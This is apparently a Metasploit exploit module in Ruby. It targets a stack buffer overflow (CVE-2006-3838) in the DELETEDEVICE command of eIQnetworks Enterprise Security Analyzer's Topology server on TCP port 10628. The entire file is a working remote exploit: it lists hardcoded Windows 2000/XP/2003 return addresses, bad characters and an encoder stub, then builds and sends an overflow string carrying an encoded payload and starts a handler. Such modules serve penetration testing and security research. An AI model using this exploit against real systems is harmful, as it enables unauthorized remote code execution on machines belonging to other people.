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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in eIQnetworks
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          Enterprise Security Analyzer. During the processing of
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          long arguments to the DELETEDEVICE command in the Topology
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          server, a stack-based buffer overflow occurs.
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          This module has only been tested against ESA v2.1.13.
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        },
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        'Author' => 'MC',
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        'References' => [
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          ['CVE', '2006-3838'],
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          ['OSVDB', '27528'],
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          ['BID', '19164'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => 250,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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          [ 'Windows XP SP2 English', { 'Ret' => 0x77d57447 } ],
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          [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2006-07-25',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(10628)
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    filler = rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)
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    sploit = "DELETEDEVICE&" + filler + payload.encoded
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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